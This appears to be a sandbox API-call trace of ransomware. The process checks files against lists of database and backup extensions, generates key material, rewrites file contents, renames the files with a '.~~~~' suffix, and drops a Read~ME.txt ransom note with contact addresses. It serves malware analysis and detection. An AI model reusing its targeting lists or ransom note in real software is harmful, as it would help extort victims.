	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.297] lstrlenW (lpString=".BAK") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.297] lstrlenW (lpString=".BAC") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.297] lstrlenW (lpString=".dbs") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.297] lstrlenW (lpString=".vhdx") returned 5
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.297] lstrlenW (lpString=".NDF") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.298] lstrlenW (lpString=".dat") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.298] lstrlenW (lpString=".DBS") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.298] lstrlenW (lpString=".CKP") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.298] lstrlenW (lpString=".edb") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.298] lstrlenW (lpString=".PST") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.298] lstrlenW (lpString=".dbf") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.298] lstrlenW (lpString=".SQL") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.298] lstrlenW (lpString=".pst") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.298] lstrlenW (lpString=".dbv") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.298] lstrlenW (lpString=".SDF") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.298] lstrlenW (lpString=".dtxs") returned 5
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.298] lstrlenW (lpString=".db3") returned 4
	[0081.298] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.298] lstrlenW (lpString=".OST") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.299] lstrlenW (lpString=".dbx") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.299] lstrlenW (lpString=".DB3") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.299] lstrlenW (lpString=".DAT") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.299] lstrlenW (lpString=".VHDX") returned 5
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.299] lstrlenW (lpString=".ndf") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.299] lstrlenW (lpString=".DB") returned 3
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.299] lstrlenW (lpString=".sql") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.299] lstrlenW (lpString=".MYD") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.299] lstrlenW (lpString=".DBT") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.299] lstrlenW (lpString=".ACCDB") returned 6
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.299] lstrlenW (lpString=".fdb") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.299] lstrlenW (lpString=".bak") returned 4
	[0081.299] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.300] lstrlenW (lpString=".myd") returned 4
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.300] lstrlenW (lpString=".DTXS") returned 5
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.300] lstrlenW (lpString=".ckp") returned 4
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.300] lstrlenW (lpString=".dbt") returned 4
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.300] lstrlenW (lpString=".db") returned 3
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.300] lstrlenW (lpString=".TXT") returned 4
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.300] lstrlenW (lpString=".MDF") returned 4
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.300] lstrlenW (lpString=".bdb") returned 4
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.300] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.300] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.302] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.302] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0081.302] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20129198586) returned 1
	[0081.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a509b70, dwHighDateTime=0x1d60e1e)) 
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa938
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa938 | out: hHeap=0x300000) returned 1
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.303] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.303] GetLastError () returned 0x0
	[0081.303] GetLastError () returned 0x0
	[0081.303] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.303] GetLastError () returned 0x0
	[0081.303] GetLastError () returned 0x0
	[0081.303] ReadFile (in: hFile=0x118, lpBuffer=0x2834fe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesRead=0x26dfec0*=0x7976, lpOverlapped=0x0) returned 1
	[0081.307] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff868a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.307] WriteFile (in: hFile=0x118, lpBuffer=0x2834fe0*, nNumberOfBytesToWrite=0x7976, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x7976, lpOverlapped=0x0) returned 1
	[0081.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2834fe0 | out: hHeap=0x300000) returned 1
	[0081.307] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.307] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.308] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.308] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.308] CloseHandle (hObject=0x118) returned 1
	[0081.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0081.308] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.~~~~")) returned 1
	[0081.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0081.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.309] GetLastError () returned 0x0
	[0081.309] RtlWakeConditionVariable () returned 0x365f70
	[0081.309] GetCurrentThreadId () returned 0x9cc
	[0081.309] GetCurrentThreadId () returned 0x9cc
	[0081.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0081.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800a30 | out: hHeap=0x300000) returned 1
	[0081.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa900 | out: hHeap=0x300000) returned 1
	[0081.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800a30
	[0081.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.310] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.310] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.312] CloseHandle (hObject=0x118) returned 1
	[0081.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800a30 | out: hHeap=0x300000) returned 1
	[0081.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0081.312] RtlWakeConditionVariable () returned 0x365f70
	[0081.312] GetCurrentThreadId () returned 0x9cc
	[0081.312] GetCurrentThreadId () returned 0x9cc
	[0081.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0081.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0081.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa8c8 | out: hHeap=0x300000) returned 1
	[0081.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0081.312] lstrlenW (lpString=".scr") returned 4
	[0081.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".scr") returned 0x0
	[0081.312] lstrlenW (lpString=".cmd") returned 4
	[0081.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".cmd") returned 0x0
	[0081.312] lstrlenW (lpString=".dll") returned 4
	[0081.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dll") returned 0x0
	[0081.312] lstrlenW (lpString=".bat") returned 4
	[0081.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".bat") returned 0x0
	[0081.313] lstrlenW (lpString=".cpl") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".cpl") returned 0x0
	[0081.313] lstrlenW (lpString=".sys") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".sys") returned 0x0
	[0081.313] lstrlenW (lpString=".msc") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".msc") returned 0x0
	[0081.313] lstrlenW (lpString=".com") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".com") returned 0x0
	[0081.313] lstrlenW (lpString=".lnk") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".lnk") returned 0x0
	[0081.313] lstrlenW (lpString=".msp") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".msp") returned 0x0
	[0081.313] lstrlenW (lpString=".pif") returned 4
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".pif") returned 0x0
	[0081.313] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.313] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.314] lstrlenW (lpString=".sqb") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".sqb") returned 0x0
	[0081.314] lstrlenW (lpString=".ost") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".ost") returned 0x0
	[0081.314] lstrlenW (lpString=".txt") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".txt") returned 0x0
	[0081.314] lstrlenW (lpString=".mdt") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".mdt") returned 0x0
	[0081.314] lstrlenW (lpString=".BDB") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".BDB") returned 0x0
	[0081.314] lstrlenW (lpString=".eql") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".eql") returned 0x0
	[0081.314] lstrlenW (lpString=".DBF") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DBF") returned 0x0
	[0081.314] lstrlenW (lpString=".EQL") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".EQL") returned 0x0
	[0081.314] lstrlenW (lpString=".FDB") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".FDB") returned 0x0
	[0081.314] lstrlenW (lpString=".EDB") returned 4
	[0081.314] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".EDB") returned 0x0
	[0081.314] lstrlenW (lpString=".DACPAC") returned 7
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0081.315] lstrlenW (lpString=".VHD") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".VHD") returned 0x0
	[0081.315] lstrlenW (lpString=".DBV") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DBV") returned 0x0
	[0081.315] lstrlenW (lpString=".dacpac") returned 7
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dacpac") returned 0x0
	[0081.315] lstrlenW (lpString=".sdf") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".sdf") returned 0x0
	[0081.315] lstrlenW (lpString=".accdb") returned 6
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".accdb") returned 0x0
	[0081.315] lstrlenW (lpString=".DBX") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DBX") returned 0x0
	[0081.315] lstrlenW (lpString=".MDT") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".MDT") returned 0x0
	[0081.315] lstrlenW (lpString=".SQB") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".SQB") returned 0x0
	[0081.315] lstrlenW (lpString=".vhd") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".vhd") returned 0x0
	[0081.315] lstrlenW (lpString=".bac") returned 4
	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".bac") returned 0x0
	[0081.315] lstrlenW (lpString=".mdf") returned 4
